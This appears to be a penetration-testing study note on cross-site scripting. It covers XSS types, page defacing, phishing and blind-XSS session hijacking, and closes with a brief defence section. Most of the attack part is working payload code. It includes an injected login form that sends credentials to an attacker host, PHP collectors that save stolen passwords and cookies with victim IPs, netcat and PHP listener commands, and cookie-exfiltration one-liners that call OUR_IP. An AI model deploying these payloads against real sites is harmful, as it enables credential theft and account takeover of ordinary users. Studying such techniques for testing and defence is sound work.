Cross-Site Scripting (XSS)

  • XSS vulnerabilities are executed solely on the client side and, therefore, do not directly affect the back-end server. There are three main types of XSS:

    • Stored (Persistent) XSS: This occurs when the input is stored in the backend (e.g., in a database). It is considered the most critical type, as seen in comments and posts.

    • Reflected (Non-Persistent) XSS: This occurs when the input is reflected but not saved to the backend, such as in a search query.

    • DOM-based XSS: This is another non-persistent type where input is processed on the client side through JavaScript and never reaches the backend.

  • There are many automated tools to identify XSS vulnerabilities, such as XSS Strike, Brute XSS, and XSSer.

  • XSS can be injected into any input in an HTML page; this is not limited to HTML input fields but may also include HTTP headers like the Cookie or User-Agent when their values are displayed on the page.

XSS Attacks

Defacing

  • Defacing a website means changing its appearance for anyone who visits the website. Stored XSS vulnerabilities are commonly used for this purpose.

  • Defacing Elements:

    • Background Color document.body.style.background

    • Background document.body.background

    • Page Title document.title

    • Page Text DOM.innerHTML

Phishing

  • To perform an XSS phishing attack, inject HTML code that displays a login form on the targeted page. This form should send the login information to a server where you are listening.

  • Example

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>
  • To write HTML code to the vulnerable page, use the JavaScript function document.write(). Then, remove other elements from the page using document.getElementById().remove(). The final payload to be added to the URL might look like this:

<script>document.write('<h3 style="text-align: center;">Please login to continue</h3><form action=http://YOURIP:PORT/><input style="width: 20%; padding: 5px 5px; margin: 0px auto; box-sizing: border_box; display: block;" type="username" name="username" placeholder="Username"><input style="width: 20%; padding: 5px 5px; margin: 10px auto; box-sizing: border_box; display: block;" type="password" name="password" placeholder="Password"><input style="width: 20%; padding: 5px 5px; margin: 0px auto; box-sizing: border_box; display: block;" type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
  • After sending the URL with the payload to your target, open a web server on your machine to capture the credentials using: sudo nc -lvnp 80

  • Netcat is basic and does not redirect the user, which might raise suspicion. A better approach is to use a simple PHP server to redirect the user after logging in.

  • Example PHP code:

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: URL-TO-REDIRECT");
    fclose($file);
    exit();
}
?>
  • Then run the server:

mkdir /tmp/tmpserver
cd /tmp/tmpserver
vi index.php #write the index.php file here
sudo php -S 0.0.0.0:80

Session Hijacking

  • Session hijacking can be carried out using a Blind XSS. A Blind XSS vulnerability occurs when the vulnerability is triggered on a page we don't have access to.

  • For example, consider a registration form used by users where they don't see the response but are informed that the data will be validated by the admin. In this case, we can't test for XSS in the same way as DOM-based XSS, making detection harder.

  • To identify which input field is vulnerable, we use different scripts for different fields:

<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
#and so on..
#Passwords are usually hashed so most likely it will not work.
#Emails also follow a specific format so this also most likely will not work.
  • If we receive a request, it indicates that the corresponding field is vulnerable. For example, a request for the username suggests the username field is vulnerable.

  • In HTML, JavaScript code can be written within tags, or we can include a remote script by providing its URL:

<script src="http://OUR_IP/script.js"></script>
  • After identifying the vulnerable input field, use a payload to capture the cookie. Example payloads:

document.location='http://OUR_IP/index.php?c='+document.cookie;
#Or
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
  • After choosing a payload, we add it to our script.js file, and based on this specific payload, we need to include code in the index.php file. Example index.php code:

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
  • The final payload will be:

<script src=http://OUR_IP/script.js></script>

Securing Against Command Injection

  • As with other injection attacks, protect against XSS by using both input validation and sanitization on the front-end and back-end.

  • Beyond input validation and sanitization, ensure that user input is never used directly within certain HTML tags, such as JavaScript code, CSS style code, or HTML comments. Additionally, avoid using JavaScript functions that allow changing raw HTML, like DOM.innerHTML and document.write().

  • Another important step is output encoding on the back-end. Encode any special characters into their HTML codes, which is especially useful when displaying user input without introducing an XSS vulnerability.

  • Finally, harden the back-end server by using HTTPS across the entire domain, implementing XSS prevention headers, and setting the HttpOnly and Secure cookie flags.

Last updated